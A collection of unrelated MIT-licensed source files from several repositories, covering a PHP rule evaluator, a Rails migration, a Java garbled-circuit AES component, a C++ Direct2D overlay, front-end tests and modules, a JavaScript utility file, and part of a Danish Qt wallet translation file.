nicmart/Rulez
src/Evaluation/PositivePropositionEvaluation.php
1071
<?php /** * This file is part of library-template * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @author Nicolò Martini <nicmartnic@gmail.com> */ namespace NicMart\Rulez\Evaluation; class PositivePropositionEvaluation implements PropositionEvaluation { use PropositionEvaluationTrait; private $evalsList; /** * @param $atLeast * @param callable $resolveCallback */ function __construct($atLeast, $resolveCallback = null, \SplObjectStorage $evalsList = null) { $this->limit = $atLeast; $this->evalsList = $evalsList; if ($resolveCallback) $this->onResolved($resolveCallback); } /** * {@inheritdoc} */ function input($value) { if ($value) { $this->positiveInputCounter++; $this->evalsList->attach($this); if ($this->positiveInputCounter >= $this->limit) $this->resolve(true); } return $this; } }
mit
bzurkowski/exchange
db/migrate/20150409204101_create_assignations.rb
287
class CreateAssignations < ActiveRecord::Migration def change create_table :assignations do |t| t.integer :schedule_id t.integer :term_id t.timestamps null: false end add_index :assignations, :schedule_id add_index :assignations, :term_id end end
mit
factcenter/inchworm
src/main/java/org/factcenter/fastgc/YaoGC/AESComponents/MixColumns.java
1354
// Copyright (C) 2010 by Yan Huang <yhuang@virginia.edu> package org.factcenter.fastgc.YaoGC.AESComponents; import org.factcenter.fastgc.YaoGC.CircuitGlobals; import org.factcenter.fastgc.YaoGC.CompositeCircuit; import org.factcenter.fastgc.YaoGC.State; public class MixColumns extends CompositeCircuit { public MixColumns(CircuitGlobals globals) { super(globals, 128, 128, 4, "MixColumns"); } public State startExecuting(State[] arrS) { for (int i = 0; i < 16; i++) { for (int j = 0; j < 8; j++) { inputWires[i * 8 + j].value = arrS[i].wires[j].value; inputWires[i * 8 + j].invd = arrS[i].wires[j].invd; inputWires[i * 8 + j].setLabel(arrS[i].wires[j].lbl); inputWires[i * 8 + j].setReady(arrS[i].execSerial); } } return State.fromWires(outputWires); } @Override protected void createAllSubCircuits(boolean isForGarbling) { for (int i = 0; i < 4; i++) { subCircuits[i] = new MixOneColumn(globals); } } protected void connectWires() { for (int i = 0; i < 4; i++) for (int j = 0; j < 32; j++) inputWires[i * 32 + j].connectTo(subCircuits[i].inputWires, j); } protected void defineOutputWires() { for (int i = 0; i < 4; i++) { System.arraycopy(subCircuits[i].outputWires, 0, outputWires, i * 32, 32); } } }
mit
FourChar/Ando
D2DOverlay.cpp
8199
#include "D2DOverlay.hpp" #include "Helpers.hpp" #include <string> #include <locale> #include <codecvt> #ifdef UNICODE #define DrawText DrawTextW #else #define DrawText DrawTextA #endif // !UNICODE namespace ando { namespace overlay { namespace concrete { using logger::ELogLevel; D2DOverlay::D2DOverlay() : factory(nullptr), renderTarget(nullptr) { } D2DOverlay::D2DOverlay(::std::shared_ptr<logger::ILogger> logger) : factory(nullptr), renderTarget(nullptr), Overlay(logger) { } D2DOverlay::~D2DOverlay() { this->onDestroy(); } bool D2DOverlay::initialize() { this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::initialize} Creating D2D Factory..."); if (FAILED(D2D1CreateFactory(D2D1_FACTORY_TYPE_SINGLE_THREADED, &this->factory))) { this->logger->log(ELogLevel::LOG_ERROR, "Failed to create D2D Factory!"); return false; } if (!IsWindow(this->getLocal()->getHwnd())) { this->logger->log(ELogLevel::LOG_CRITICAL, "{D2DOverlay::initialize} Local Instance isn't Window!"); return false; } D2D1_SIZE_U size = ::D2D1::Size<UINT32>(this->getLocal()->getWidth(), this->getLocal()->getHeight()); this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::initialize} Creating D2D RenderTarget..."); if (FAILED(this->factory->CreateHwndRenderTarget( ::D2D1::RenderTargetProperties(D2D1_RENDER_TARGET_TYPE_DEFAULT, ::D2D1::PixelFormat(DXGI_FORMAT_UNKNOWN, D2D1_ALPHA_MODE_PREMULTIPLIED)), ::D2D1::HwndRenderTargetProperties(this->getLocal()->getHwnd(), size, D2D1_PRESENT_OPTIONS_IMMEDIATELY), &this->renderTarget))) { this->logger->log(ELogLevel::LOG_ERROR, "{D2DOverlay::initialize} Failed to create D2D RenderTarget!"); this->onDestroy(); return false; } this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::initialize} Creating D2D WriteFactory..."); if (FAILED(DWriteCreateFactory(DWRITE_FACTORY_TYPE_SHARED, __uuidof(this->writeFactory), reinterpret_cast<IUnknown **>(&this->writeFactory)))) { this->logger->log(ELogLevel::LOG_ERROR, "{D2DOverlay::initialize} Failed to create D2D WriteFactory!"); this->onDestroy(); return false; } return true; } bool D2DOverlay::BeginFrame() { this->renderTarget->BeginDraw(); this->renderTarget->SetTransform(::D2D1::Matrix3x2F::Identity()); this->renderTarget->Clear(::D2D1::ColorF(::D2D1::ColorF::Black, 0.0f)); return true; } bool D2DOverlay::EndFrame() { this->renderTarget->EndDraw(); return true; } void D2DOverlay::onDestroy() { this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::onDestroy} Releasing D2D instance..."); SafeRelease(&this->renderTarget); SafeRelease(&this->factory); this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::onDestroy} Releasing D2D colors..."); for (::std::vector<direct2d::D2DColor*>::iterator it = this->colors.begin(); it != this->colors.end(); it++) delete (*it); this->colors.clear(); this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::onDestroy} Releasing D2D fonts..."); this->releaseFonts(); } void D2DOverlay::onReset() { } void D2DOverlay::onRelease() { } void D2DOverlay::onResize() { if (!this->renderTarget) return; this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::onResize} Resizing D2D RenderTarget..."); if (FAILED(this->renderTarget->Resize(::D2D1::SizeU(this->getLocal()->getWidth(), this->getLocal()->getHeight())))) { this->logger->log(ELogLevel::LOG_WARNING, "{D2DOverlay::onResize} Failed to resize D2D RenderTarget!"); } } bool D2DOverlay::FontInitializer(const surface::ISurfaceFont *font) { if (font->isInitialized() || font->getName().empty() || font->getSize() <= 0) return false; IDWriteTextFormat **actualFont = (IDWriteTextFormat **)font->getFont(); if (actualFont == nullptr) return false; stringConvertor conv; bool result = SUCCEEDED(this->getWriteFactory()->CreateTextFormat( conv.from_bytes(font->getName()).c_str(), NULL, (DWRITE_FONT_WEIGHT)font->getWeight(), font->isItalics() ? DWRITE_FONT_STYLE_ITALIC : DWRITE_FONT_STYLE_NORMAL, DWRITE_FONT_STRETCH_NORMAL, font->getSize(), L"", actualFont)); if (result) { this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::FontInitializer} Created Font: %s (Size: %d)", font->getName().c_str(), font->getSize()); } else { this->logger->log(ELogLevel::LOG_WARNING, "{D2DOverlay::FontInitializer} Failed to create Font! %s", font->getName().c_str()); } return result; } void D2DOverlay::DrawRawString(float x, float y, uint8_t size, bool centered, ando::Color color, ::std::shared_ptr<surface::ISurfaceFont> font, const char *string) { if (!font->isInitialized()) { this->logger->log(ELogLevel::LOG_WARNING, "{D2DOverlay::DrawRawString} Font not initialized! %s", font->getName().c_str()); return; } stringConvertor conv; const ::std::size_t length = strlen(string); if (length <= 0) return; D2D1_RECT_F rect = ::D2D1::RectF ( float(x), float(y), this->getLocal()->getWidth<float>(), this->getLocal()->getHeight<float>() ); IDWriteTextFormat *actualFont = (IDWriteTextFormat *)(*font->getFont()); DWRITE_TEXT_ALIGNMENT textAlignment = actualFont->GetTextAlignment(); DWRITE_PARAGRAPH_ALIGNMENT paragraphAlignment = actualFont->GetParagraphAlignment(); if (centered) { actualFont->SetTextAlignment(DWRITE_TEXT_ALIGNMENT_CENTER); //actualFont->SetParagraphAlignment(DWRITE_PARAGRAPH_ALIGNMENT_CENTER); } else { actualFont->SetTextAlignment(DWRITE_TEXT_ALIGNMENT_LEADING); //actualFont->SetParagraphAlignment(DWRITE_PARAGRAPH_ALIGNMENT_NEAR); } this->renderTarget->DrawTextA(conv.from_bytes(string).c_str(), length, actualFont, rect, (ID2D1Brush*)this->toD2DColor(color)); if (centered) { actualFont->SetTextAlignment(textAlignment); actualFont->SetParagraphAlignment(paragraphAlignment); } } void D2DOverlay::DrawLine(float x1, float y1, float x2, float y2, ando::Color color) { this->renderTarget->DrawLine(::D2D1::Point2F(x1, y1), ::D2D1::Point2F(x2, y2), this->toD2DColor(color), 0.5f); } void D2DOverlay::DrawRectangle(float x, float y, float width, float height, ando::Color color) { D2D1_RECT_F rect = ::D2D1::RectF(x, y, x + height, y + width); D2D1_ANTIALIAS_MODE oldMode = this->renderTarget->GetAntialiasMode(); this->renderTarget->SetAntialiasMode(D2D1_ANTIALIAS_MODE_ALIASED); this->renderTarget->DrawRectangle(&rect, this->toD2DColor(color)); this->renderTarget->SetAntialiasMode(oldMode); } void D2DOverlay::FillRectangle(float x, float y, float width, float height, ando::Color color) { D2D1_RECT_F rect = ::D2D1::RectF(x - 1, y - 1, x + height, y + width); D2D1_ANTIALIAS_MODE oldMode = this->renderTarget->GetAntialiasMode(); this->renderTarget->SetAntialiasMode(D2D1_ANTIALIAS_MODE_ALIASED); this->renderTarget->FillRectangle(&rect, this->toD2DColor(color)); this->renderTarget->SetAntialiasMode(oldMode); } ID2D1SolidColorBrushPtr D2DOverlay::toD2DColor(ando::Color andoColor) { for (::std::size_t i = 0; i < this->colors.size(); i++) { direct2d::D2DColor *color = this->colors.at(i); if (color->getAndoColor() != andoColor) continue; return color->getColor(); } this->logger->log(ELogLevel::LOG_DEBUG, "{D2DOverlay::toD2DColor} Caching D2DColor (%u) (%u, %u, %u, %u)...", this->colors.size() + 1, andoColor.r(), andoColor.g(), andoColor.b(), andoColor.a()); this->colors.emplace_back(new direct2d::D2DColor(this->renderTarget, andoColor)); return this->colors.at(this->colors.size() - 1)->getColor(); } IDWriteFactoryPtr D2DOverlay::getWriteFactory() const { return this->writeFactory; } } } }
mit
V4Fire/Client
src/form/b-input/test/runners/form/messages.js
3732
// @ts-check /*! * V4Fire Client Core * https://github.com/V4Fire/Client * * Released under the MIT license * https://github.com/V4Fire/Client/blob/master/LICENSE */ /** * @typedef {import('playwright').Page} Page */ const {initInput} = include('src/form/b-input/test/helpers'); /** @param {Page} page */ module.exports = (page) => { beforeEach(async () => { await page.evaluate(() => { globalThis.removeCreatedComponents(); }); }); describe('b-input form API `info` / `error` messages', () => { it('without `messageHelpers`', async () => { const target = await initInput(page, { info: 'Hello', error: 'Error' }); expect(await target.evaluate((ctx) => Boolean(ctx.block.element('info-box')))) .toBeFalse(); expect(await target.evaluate((ctx) => Boolean(ctx.block.element('error-box')))) .toBeFalse(); }); it('providing `info`', async () => { const target = await initInput(page, { info: 'Hello', messageHelpers: true }); expect(await target.evaluate((ctx) => ctx.info)) .toBe('Hello'); expect(await target.evaluate((ctx) => ctx.block.element('info-box').textContent.trim())) .toBe('Hello'); expect(await target.evaluate((ctx) => ctx.mods.showInfo)) .toBe('true'); await target.evaluate((ctx) => { ctx.info = 'Bla'; }); expect(await target.evaluate((ctx) => ctx.info)) .toBe('Bla'); expect(await target.evaluate((ctx) => ctx.block.element('info-box').textContent.trim())) .toBe('Bla'); expect(await target.evaluate((ctx) => ctx.mods.showInfo)) .toBe('true'); await target.evaluate((ctx) => { ctx.info = undefined; }); expect(await target.evaluate((ctx) => ctx.info)) .toBeUndefined(); expect(await target.evaluate((ctx) => ctx.block.element('info-box').textContent.trim())) .toBe(''); expect(await target.evaluate((ctx) => ctx.mods.showInfo)) .toBe('false'); }); it('providing `error`', async () => { const target = await initInput(page, { error: 'Error', messageHelpers: true }); expect(await target.evaluate((ctx) => ctx.error)) .toBe('Error'); expect(await target.evaluate((ctx) => ctx.block.element('error-box').textContent.trim())) .toBe('Error'); expect(await target.evaluate((ctx) => ctx.mods.showError)) .toBe('true'); await target.evaluate((ctx) => { ctx.error = 'Bla'; }); expect(await target.evaluate((ctx) => ctx.error)) .toBe('Bla'); expect(await target.evaluate((ctx) => ctx.block.element('error-box').textContent.trim())) .toBe('Bla'); expect(await target.evaluate((ctx) => ctx.mods.showError)) .toBe('true'); await target.evaluate((ctx) => { ctx.error = undefined; }); expect(await target.evaluate((ctx) => ctx.error)) .toBeUndefined(); expect(await target.evaluate((ctx) => ctx.block.element('error-box').textContent.trim())) .toBe(''); expect(await target.evaluate((ctx) => ctx.mods.showError)) .toBe('false'); }); it('providing `info` and `error`', async () => { const target = await initInput(page, { info: 'Hello', error: 'Error', messageHelpers: true }); expect(await target.evaluate((ctx) => ctx.info)) .toBe('Hello'); expect(await target.evaluate((ctx) => ctx.block.element('info-box').textContent.trim())) .toBe('Hello'); expect(await target.evaluate((ctx) => ctx.mods.showInfo)) .toBe('true'); expect(await target.evaluate((ctx) => ctx.error)) .toBe('Error'); expect(await target.evaluate((ctx) => ctx.block.element('error-box').textContent.trim())) .toBe('Error'); expect(await target.evaluate((ctx) => ctx.mods.showError)) .toBe('true'); }); }); };
mit
aliceservices/alice
src/constants/ActionTypes.ts
817
/// <reference path="./ActionTypes.d.ts" /> import reduxCrud from 'redux-crud' export const APP_ICON_CLICK = 'APP_ICON_CLICK' export const CURRENT_WINDOW_ID = 'CURRENT_WINDOW_ID' export const DOCUMENT_RESIZE = 'DOCUMENT_RESIZE' export const EMOJI_CHANGE = 'EMOJI_CHANGE' export const KEY_PRESS = 'KEY_PRESS' export const LOCATION_CHANGE = 'LOCATION_CHANGE' export const MENU_TOGGLE = 'TOGGLE_MENU' export const SIDEBAR_TOGGLE = 'SIDEBAR_TOGGLE' const { SIDEBAR_UPDATE_SUCCESS } = reduxCrud.actionTypesFor('sidebar') export { SIDEBAR_UPDATE_SUCCESS } export const WINDOW_MOVE = 'WINDOW_MOVE' export const WINDOW_TOGGLE_FULLSCREEN = 'WINDOW_TOGGLE_FULLSCREEN' const { WINDOW_DELETE_SUCCESS, WINDOW_UPDATE_SUCCESS } = reduxCrud.actionTypesFor('window') export { WINDOW_DELETE_SUCCESS, WINDOW_UPDATE_SUCCESS }
mit
dzuvic/structured-protractor-example
protractor.conf.js
165
exports.config = { framework: 'jasmine2', seleniumAddress: 'http://localhost:4444/wd/hub', baseUrl: 'http://juliemr.github.io', specs: ['./spec/**/*.js'] };
mit
angularcolombia/angularcolombia.com
src/app/shared/shared.module.ts
2019
import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { MatButtonModule, MatCardModule, MatFormFieldModule, MatGridListModule, MatIconModule, MatInputModule, MatListModule, MatSidenavModule, MatSnackBarModule, MatToolbarModule, MatMenuModule, MatTabsModule, MatDatepickerModule, MatNativeDateModule } from '@angular/material'; import { ReactiveFormsModule, FormsModule } from '@angular/forms'; import { FlexLayoutModule } from '@angular/flex-layout'; import { FooterComponent } from './components/cross/footer/footer.component'; import { PersonInfoComponent } from './components/cross/person-info/person-info.component'; import { EllipsisPipe } from './pipes/ellipsis.pipe'; import { SnackbarComponent } from './components/cross/snackbar/snackbar.component'; import { UserAuthComponent } from './components/user-auth/user-auth.component'; @NgModule({ imports: [ CommonModule, ReactiveFormsModule, FormsModule, FlexLayoutModule, MatButtonModule, MatCardModule, MatFormFieldModule, MatInputModule, MatGridListModule, MatToolbarModule, MatSidenavModule, MatListModule, MatIconModule, MatSnackBarModule, MatMenuModule, MatTabsModule, MatDatepickerModule, MatNativeDateModule ], declarations: [ FooterComponent, PersonInfoComponent, SnackbarComponent, EllipsisPipe, UserAuthComponent ], entryComponents: [ SnackbarComponent ], exports: [ ReactiveFormsModule, FormsModule, FlexLayoutModule, MatButtonModule, MatCardModule, MatFormFieldModule, MatInputModule, MatGridListModule, MatToolbarModule, MatSidenavModule, MatListModule, MatIconModule, MatSnackBarModule, MatMenuModule, FooterComponent, PersonInfoComponent, SnackbarComponent, EllipsisPipe, UserAuthComponent, MatTabsModule, MatDatepickerModule, MatNativeDateModule ] }) export class SharedModule { }
mit
ridibooks/simple-notifier
src/common/common-util.js
6369
/** * Util functions * * @since 1.0.0 */ /** * Get client IP address * * Will return 127.0.0.1 when testing locally * Useful when you need the user ip for geolocation or serving localized content * * @param {Object} request * @returns {string} ip */ exports.getClientIp = (request) => { // workaround to get real client IP // most likely because our app will be behind a [reverse] proxy or load balancer const clientIp = request.headers['x-client-ip']; // x-forwarded-for // (typically when your node app is behind a load-balancer (eg. AWS ELB) or proxy) // // x-forwarded-for may return multiple IP addresses in the format: // "client IP, proxy 1 IP, proxy 2 IP" // Therefore, the right-most IP address is the IP address of the most recent proxy // and the left-most IP address is the IP address of the originating client. // source: http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/x-forwarded-headers.html const forwardedForAlt = request.headers['x-forwarded-for']; // x-real-ip // (default nginx proxy/fcgi) // alternative to x-forwarded-for, used by some proxies const realIp = request.headers['x-real-ip']; // more obsure ones below const clusterClientIp = request.headers['x-cluster-client-ip']; const forwardedAlt = request.headers['x-forwarded']; const forwardedFor = request.headers['forwarded-for']; const { forwarded } = request.headers; // remote address check const reqConnectionRemoteAddress = request.connection ? request.connection.remoteAddress : null; const reqSocketRemoteAddress = request.socket ? request.socket.remoteAddress : null; // remote address checks const reqConnectionSocketRemoteAddress = (request.connection && request.connection.socket) ? request.connection.socket.remoteAddress : null; const reqInfoRemoteAddress = request.info ? request.info.remoteAddress : null; return clientIp || (forwardedForAlt && forwardedForAlt.split(',')[0]) || realIp || clusterClientIp || forwardedAlt || forwardedFor || forwarded || reqConnectionRemoteAddress || reqSocketRemoteAddress || reqConnectionSocketRemoteAddress || reqInfoRemoteAddress; }; const regex = /([>=<]{1,2})([0-9a-zA-Z\-.]+)*/g; const getComparator = (conditionStr) => { let result = conditionStr.charAt(0); if ('<>'.includes(result)) { result = '~'; } return result; }; const parsers = { '*': () => ({ comparator: '*' }), '=': (cond) => { let execResult; if ((execResult = regex.exec(cond)) !== null) { return { comparator: '=', version: execResult[2] }; } return false; }, '~': (cond) => { const resultItem = { comparator: '~' }; let execResult; while ((execResult = regex.exec(cond)) !== null) { if (execResult[1] === '>=') { [,, resultItem.versionStart] = execResult; } else if (execResult[1] === '<') { [,, resultItem.versionEnd] = execResult; } } if (resultItem.versionStart || resultItem.versionEnd) { return resultItem; } return false; }, }; const stringifier = { '*': () => '*', '=': cond => `=${cond.version}`, '~': cond => `${cond.versionStart ? `>=${cond.versionStart}` : ''} ${cond.versionEnd ? `<${cond.versionEnd}` : ''}`, }; /** * Parse below "limited" formatted Semantic Version to an array for UI expression * - equals: "=2.3", "=2", "=4.3.3" * - range: ">=1.2.3 <3.0", ">=1.2.3", "<3.0.0" (only permitted gte(>=) and lt(<) for ranges) * - all: "*" * - mixed (by OR): ">=1.2.3 <3.0.0 || <0.1.2 || >=5.1" * @param {string} conditionString * @return {Array} */ exports.parseSemVersion = (semVerString) => { if (!semVerString) { return [{ comparator: '*' }]; // default } const conditions = semVerString.split('||').map(cond => cond.trim()); // OR 연산을 기준으로 분리 const result = []; conditions.forEach((cond) => { regex.lastIndex = 0; // reset find index const comparator = getComparator(cond); const parsedObj = parsers[comparator](cond); if (parsedObj) { result.push(parsedObj); } }); return result; }; /** * Stringify parsed version conditions to SemVer representation * @param {Array} parsedConditions * @return {string} */ exports.stringifySemVersion = (parsedConditions) => { const result = parsedConditions.map((cond) => { if (stringifier[cond.comparator]) { return stringifier[cond.comparator](cond); } return ''; }); if (result.includes('*')) { return '*'; } return result.filter(cond => !!cond).join(' || ').replace(/\s\s/g, ' ').trim(); }; /** * Replace camelCase string to snake_case * @param {string} str * @returns {string} */ exports.camel2snake = (str) => { if (typeof str === 'string') { // ignore first occurrence of underscore(_) and capital return str.replace(/^_/, '') .replace(/^([A-Z])/, $1 => `${$1.toLowerCase()}`) .replace(/([A-Z])/g, $1 => `_${$1.toLowerCase()}`); } return str; }; /** * Replace camelCase string to snake_case on the property names in objects * @param {Array|Object} object * @returns {*} */ exports.camel2snakeObject = (object) => { if (object instanceof Array) { return object.map(value => exports.camel2snakeObject(value)); } if (object && typeof object === 'object') { const result = {}; Object.keys(object).forEach((key) => { result[exports.camel2snake(key)] = exports.camel2snakeObject(object[key]); }); return result; } return object; }; /** * Replace snake_case string to camelCase * @param {string} str * @returns {string} */ exports.snake2camel = (str) => { if (typeof str === 'string') { // ignore first occurrence of underscore(_) return str.replace(/^_/, '').replace(/_([a-z0-9]?)/g, ($1, $2) => `${$2.toUpperCase()}`); } return str; }; /** * Replace snake_case string to camelCase on the property names in objects * @param {Array|Object} object * @returns {*} */ exports.snake2camelObject = (object) => { if (object instanceof Array) { return object.map(value => exports.snake2camelObject(value)); } if (object && typeof object === 'object') { const result = {}; Object.keys(object).forEach((key) => { result[exports.snake2camel(key)] = exports.snake2camelObject(object[key]); }); return result; } return object; };
mit
BurnerCoin/BurnerCoin
src/qt/locale/bitcoin_da.ts
129452
<?xml version="1.0" ?><!DOCTYPE TS><TS language="da" version="2.1"> <context> <name>AboutDialog</name> <message> <location filename="../forms/aboutdialog.ui" line="+14"/> <source>About BurnerCoin</source> <translation>Om BurnerCoin</translation> </message> <message> <location line="+39"/> <source>&lt;b&gt;BurnerCoin&lt;/b&gt; version</source> <translation>&lt;b&gt;BurnerCoin&lt;/b&gt; version</translation> </message> <message> <location line="+41"/> <source>Copyright © 2009-2014 The Bitcoin developers Copyright © 2012-2014 The NovaCoin developers Copyright © 2014 The BurnerCoin developers</source> <translation>Copyright © 2009-2014 The Bitcoin developers Copyright © 2012-2014 The NovaCoin developers Copyright © 2014 The BurnerCoin developers</translation> </message> <message> <location line="+15"/> <source> This is experimental software. Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php. This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) and cryptographic software written by Eric Young (eay@cryptsoft.com) and UPnP software written by Thomas Bernard.</source> <translation> Dette program er eksperimentelt. Det er gjort tilgængeligt under MIT/X11-softwarelicensen. Se den medfølgende fil &quot;COPYING&quot; eller http://www.opensource.org/licenses/mit-license.php. Produktet indeholder software, som er udviklet af OpenSSL Project til brug i OpenSSL Toolkit (http://www.openssl.org/). Kryptografisk software er skrevet af Eric Young (eay@cryptsoft.com), og UPnP-software er skrevet af Thomas Bernard.</translation> </message> </context> <context> <name>AddressBookPage</name> <message> <location filename="../forms/addressbookpage.ui" line="+14"/> <source>Address Book</source> <translation>Adressebog</translation> </message> <message> <location line="+22"/> <source>Double-click to edit address or label</source> <translation>Dobbeltklik for at redigere adresse eller mærkat</translation> </message> <message> <location line="+27"/> <source>Create a new address</source> <translation>Opret en ny adresse</translation> </message> <message> <location line="+14"/> <source>Copy the currently selected address to the system clipboard</source> <translation>Kopier den valgte adresse til udklipsholder</translation> </message> <message> <location line="-11"/> <source>&amp;New Address</source> <translation>&amp;Ny adresse</translation> </message> <message> <location line="-46"/> <source>These are your BurnerCoin addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source> <translation>Dette er dine BurnerCoin adresser til at modtage betalinger. Du ønsker måske at give en anden en til af hver afsender, så du kan holde styr på hvem der betaler dig.</translation> </message> <message> <location line="+60"/> <source>&amp;Copy Address</source> <translation>&amp;Kopier adresse</translation> </message> <message> <location line="+11"/> <source>Show &amp;QR Code</source> <translation>Vis &amp;QR kode</translation> </message> <message> <location line="+11"/> <source>Sign a message to prove you own a BurnerCoin address</source> <translation>Signerer en meddelelse for at bevise du ejer en BurnerCoin adresse</translation> </message> <message> <location line="+3"/> <source>Sign &amp;Message</source> <translation>Signere &amp; Besked</translation> </message> <message> <location line="+25"/> <source>Delete the currently selected address from the list</source> <translation>Slet den markerede adresse fra listen</translation> </message> <message> <location line="-14"/> <source>Verify a message to ensure it was signed with a specified BurnerCoin address</source> <translation>Bekræft en meddelelse for at sikre, den blev underskrevet med en specificeret BurnerCoin adresse</translation> </message> <message> <location line="+3"/> <source>&amp;Verify Message</source> <translation>Bekræft Meddelse</translation> </message> <message> <location line="+14"/> <source>&amp;Delete</source> <translation>&amp;Slet</translation> </message> <message> <location filename="../addressbookpage.cpp" line="+65"/> <source>Copy &amp;Label</source> <translation>Kopier mærkat</translation> </message> <message> <location line="+2"/> <source>&amp;Edit</source> <translation>Rediger</translation> </message> <message> <location line="+250"/> <source>Export Address Book Data</source> <translation>Eksporter Adresse Bog</translation> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation>Kommasepareret fil (*.csv)</translation> </message> <message> <location line="+13"/> <source>Error exporting</source> <translation>Fejl ved eksportering</translation> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation>Kunne ikke skrive til fil% 1.</translation> </message> </context> <context> <name>AddressTableModel</name> <message> <location filename="../addresstablemodel.cpp" line="+144"/> <source>Label</source> <translation>Mærkat</translation> </message> <message> <location line="+0"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+36"/> <source>(no label)</source> <translation>(ingen mærkat)</translation> </message> </context> <context> <name>AskPassphraseDialog</name> <message> <location filename="../forms/askpassphrasedialog.ui" line="+26"/> <source>Passphrase Dialog</source> <translation>Adgangskodedialog</translation> </message> <message> <location line="+21"/> <source>Enter passphrase</source> <translation>Indtast adgangskode</translation> </message> <message> <location line="+14"/> <source>New passphrase</source> <translation>Ny adgangskode</translation> </message> <message> <location line="+14"/> <source>Repeat new passphrase</source> <translation>Gentag ny adgangskode</translation> </message> <message> <location line="+33"/> <source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source> <translation>Deaktivere trivielle sendmoney når OS konto er kompromitteret. Giver ingen reel sikkerhed.</translation> </message> <message> <location line="+3"/> <source>For staking only</source> <translation>Kun til renteberegning</translation> </message> <message> <location filename="../askpassphrasedialog.cpp" line="+35"/> <source>Enter the new passphrase to the wallet.&lt;br/&gt;Please use a passphrase of &lt;b&gt;10 or more random characters&lt;/b&gt;, or &lt;b&gt;eight or more words&lt;/b&gt;.</source> <translation>Indtast den nye adgangskode til tegnebogen.&lt;br/&gt;Brug venligst en adgangskode på &lt;b&gt;10 eller flere tilfældige tegn&lt;/b&gt; eller &lt;b&gt;otte eller flere ord&lt;/b&gt;.</translation> </message> <message> <location line="+1"/> <source>Encrypt wallet</source> <translation>Krypter tegnebog</translation> </message> <message> <location line="+7"/> <source>This operation needs your wallet passphrase to unlock the wallet.</source> <translation>Denne funktion har brug for din tegnebogs adgangskode for at låse tegnebogen op.</translation> </message> <message> <location line="+5"/> <source>Unlock wallet</source> <translation>Lås tegnebog op</translation> </message> <message> <location line="+3"/> <source>This operation needs your wallet passphrase to decrypt the wallet.</source> <translation>Denne funktion har brug for din tegnebogs adgangskode for at dekryptere tegnebogen.</translation> </message> <message> <location line="+5"/> <source>Decrypt wallet</source> <translation>Dekrypter tegnebog</translation> </message> <message> <location line="+3"/> <source>Change passphrase</source> <translation>Skift adgangskode</translation> </message> <message> <location line="+1"/> <source>Enter the old and new passphrase to the wallet.</source> <translation>Indtast den gamle og den nye adgangskode til tegnebogen.</translation> </message> <message> <location line="+46"/> <source>Confirm wallet encryption</source> <translation>Bekræft tegnebogskryptering</translation> </message> <message> <location line="+1"/> <source>Warning: If you encrypt your wallet and lose your passphrase, you will &lt;b&gt;LOSE ALL OF YOUR COINS&lt;/b&gt;!</source> <translation>Advarsel: Hvis du krypterer din tegnebog og mister din adgangskode, vil du &lt;b&gt; miste alle dine mønter &lt;/ b&gt;!</translation> </message> <message> <location line="+0"/> <source>Are you sure you wish to encrypt your wallet?</source> <translation>Er du sikker på, at du ønsker at kryptere din tegnebog?</translation> </message> <message> <location line="+15"/> <source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source> <translation>VIGTIGT: Enhver tidligere sikkerhedskopi, som du har lavet af tegnebogsfilen, bør blive erstattet af den nyligt genererede, krypterede tegnebogsfil. Af sikkerhedsmæssige årsager vil tidligere sikkerhedskopier af den ikke-krypterede tegnebogsfil blive ubrugelig i det øjeblik, du starter med at anvende den nye, krypterede tegnebog.</translation> </message> <message> <location line="+103"/> <location line="+24"/> <source>Warning: The Caps Lock key is on!</source> <translation>Advarsel: Caps Lock-tasten er aktiveret!</translation> </message> <message> <location line="-133"/> <location line="+60"/> <source>Wallet encrypted</source> <translation>Tegnebog krypteret</translation> </message> <message> <location line="-58"/> <source>BurnerCoin will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source> <translation>BurnerCoin lukker nu for at afslutte krypteringen. Husk at en krypteret tegnebog ikke fuldt ud beskytter dine mønter mod at blive stjålet af malware som har inficeret din computer.</translation> </message> <message> <location line="+13"/> <location line="+7"/> <location line="+44"/> <location line="+6"/> <source>Wallet encryption failed</source> <translation>Tegnebogskryptering mislykkedes</translation> </message> <message> <location line="-56"/> <source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source> <translation>Tegnebogskryptering mislykkedes på grund af en intern fejl. Din tegnebog blev ikke krypteret.</translation> </message> <message> <location line="+7"/> <location line="+50"/> <source>The supplied passphrases do not match.</source> <translation>De angivne adgangskoder stemmer ikke overens.</translation> </message> <message> <location line="-38"/> <source>Wallet unlock failed</source> <translation>Tegnebogsoplåsning mislykkedes</translation> </message> <message> <location line="+1"/> <location line="+12"/> <location line="+19"/> <source>The passphrase entered for the wallet decryption was incorrect.</source> <translation>Den angivne adgangskode for tegnebogsdekrypteringen er forkert.</translation> </message> <message> <location line="-20"/> <source>Wallet decryption failed</source> <translation>Tegnebogsdekryptering mislykkedes</translation> </message> <message> <location line="+14"/> <source>Wallet passphrase was successfully changed.</source> <translation>Tegnebogens adgangskode blev ændret.</translation> </message> </context> <context> <name>BitcoinGUI</name> <message> <location filename="../bitcoingui.cpp" line="+282"/> <source>Sign &amp;message...</source> <translation>Underskriv besked...</translation> </message> <message> <location line="+251"/> <source>Synchronizing with network...</source> <translation>Synkroniserer med netværk...</translation> 